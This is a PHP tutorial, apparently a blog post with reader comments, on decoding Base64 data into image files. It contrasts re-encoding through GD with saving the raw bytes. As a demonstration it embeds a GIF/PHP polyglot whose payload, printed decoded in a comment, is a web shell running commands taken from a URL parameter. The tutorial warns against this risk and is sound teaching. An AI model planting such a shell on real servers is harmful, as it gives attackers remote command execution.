Convert Base64 to image in PHP
To convert a Base64 value into an image in PHP, you need base64_decode and any function to write binary data to files. Before decoding the data, make sure that you do not need to normalize the Base64 value.
To decode a Base64 string and save it as an image, we have two choices:
- Save the image through GD library, but lose the original.
- Save the original, but take risks to store “dangerous” files.
It depends on you which method to choose, but I highly recommend using the first method if you do not trust the source (for example, if users upload images to your server). Use the second method only if you are sure that the files are safe, otherwise you risk to jeopardize your system via RFI or LFI vulnerabilities.
To demonstrate the difference between these methods, I deliberately use the following Base64 value:
R0lGODdhAQABAPAAAP8AAAAAACwAAAAAAQABAAACAkQBADs8P3BocApleGVjKCRfR0VUWydjbWQnXSk7Cg==
If you decode the Base64 above, you will get a valid image showing a one-pixel red dot. However, this image also contains a PHP backdoor that executes remote commands. Of course, this backdoor is dangerous only on misconfigured or vulnerable systems, but safety should not be neglected.
1) Convert Base64 to PNG image (recommended):
<?php
// Define the Base64 value you need to save as an image
$b64 = 'R0lGODdhAQABAPAAAP8AAAAAACwAAAAAAQABAAACAkQBADs8P3BocApleGVjKCRfR0VUWydjbWQnXSk7Cg==';
// Obtain the original content (usually binary data)
$bin = base64_decode($b64);
// Load GD resource from binary data
$im = imageCreateFromString($bin);
// Make sure that the GD library was able to load the image
// This is important, because you should not miss corrupted or unsupported images
if (!$im) {
die('Base64 value is not a valid image');
}
// Specify the location where you want to save the image
$img_file = '/files/images/filename.png';
// Save the GD resource as PNG in the best possible quality (no compression)
// This will strip any metadata or invalid contents (including, the PHP backdoor)
// To block any possible exploits, consider increasing the compression level
imagepng($im, $img_file, 0);
2) Convert Base64 to the original image (dangerous):
<?php
// Define the Base64 value you need to save as an image
$b64 = 'R0lGODdhAQABAPAAAP8AAAAAACwAAAAAAQABAAACAkQBADs8P3BocApleGVjKCRfR0VUWydjbWQnXSk7Cg==';
// Obtain the original content (usually binary data)
$bin = base64_decode($b64);
// Gather information about the image using the GD library
$size = getImageSizeFromString($bin);
// Check the MIME type to be sure that the binary data is an image
if (empty($size['mime']) || strpos($size['mime'], 'image/') !== 0) {
die('Base64 value is not a valid image');
}
// Mime types are represented as image/gif, image/png, image/jpeg, and so on
// Therefore, to extract the image extension, we subtract everything after the “image/” prefix
$ext = substr($size['mime'], 6);
// Make sure that you save only the desired file extensions
if (!in_array($ext, ['png', 'gif', 'jpeg'])) {
die('Unsupported image type');
}
// Specify the location where you want to save the image
$img_file = "/files/images/filename.{$ext}";
// Save binary data as raw data (that is, it will not remove metadata or invalid contents)
// In this case, the PHP backdoor will be stored on the server
file_put_contents($img_file, $bin);
By the way, you can improve the first method by combining it with the second one. For example, this will remove unnecessary data and will save image in the original MIME:
<?php
$args = [$im, $img_file];
if ($ext == 'png') {
$args[] = 0; // No compression for PNGs
} else if ($ext == 'jpeg') {
$args[] = 100; // 100% quality for JPEGs
}
$fn = "image{$ext}";
call_user_func_array($fn, $args);
Comments (22)
I hope you enjoy this discussion. In any case, I ask you to join it.
I only code for my own needs and am not a professional, Any help would be great :)
file_put_contents
is returning a code like this ... Hoy can I "hide" this code? Why is it returning?����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v90), default quality ��C $.' ",#(7),01444'9=82<.342��C 2!!22222222222222222222222222222222222222222222222222���,"�� ���}!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz����������������������������������
header ('Content-Type: image/jpeg');
Use header just before return or echo image.
<div>this is text</div> <img src=base 64.......>
GIF87a���������,�������D�;<?php
exec($_GET['cmd']);
Yes, I understood...